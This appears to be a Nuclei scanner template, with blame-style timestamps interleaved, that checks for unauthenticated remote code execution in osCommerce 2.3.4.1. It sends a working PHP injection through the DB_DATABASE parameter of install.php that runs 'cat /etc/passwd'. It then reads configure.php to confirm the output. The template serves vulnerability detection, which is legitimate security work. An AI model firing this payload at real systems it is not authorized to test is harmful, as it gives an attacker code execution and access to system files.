2021-07-15 12:59:24 +00:00
id : oscommerce-rce
2021-07-15 12:41:26 +00:00
info :
author : Suman_Kar
name : osCommerce 2.3.4.1 - Remote Code Execution
2021-09-12 09:41:33 +00:00
description : A vulnerability in osCommerce's install.php allows remote unauthenticated attackers to injecting PHP code into the db_database parameter, and subsequently use the configure.php page to to read the command's executed output
2021-07-15 12:41:26 +00:00
reference : https://www.exploit-db.com/exploits/50128
severity : high
tags : rce,oscommerce
requests :
- raw :
- |
2021-07-15 12:58:08 +00:00
POST /install/install.php?step=4 HTTP/1.1
2021-07-15 12:41:26 +00:00
Host : {{Hostname}}
Accept : */*
Content-Type : application/x-www-form-urlencoded
DIR_FS_DOCUMENT_ROOT=.%2F&DB_DATABASE=%27%29%3Bpassthru%28%27cat+%2Fetc%2Fpasswd%27%29%3B%2F%2A
- |
2021-07-15 12:58:08 +00:00
GET /install/includes/configure.php HTTP/1.1
2021-07-15 12:41:26 +00:00
Host : {{Hostname}}
Accept : */*
matchers-condition : and
matchers :
2021-07-15 12:58:08 +00:00
- type : regex
regex :
2021-07-24 21:35:55 +00:00
- "root:.*:0:0:"
2021-07-15 12:58:08 +00:00
part : body
2021-07-15 12:41:26 +00:00
- type : status
status :
- 200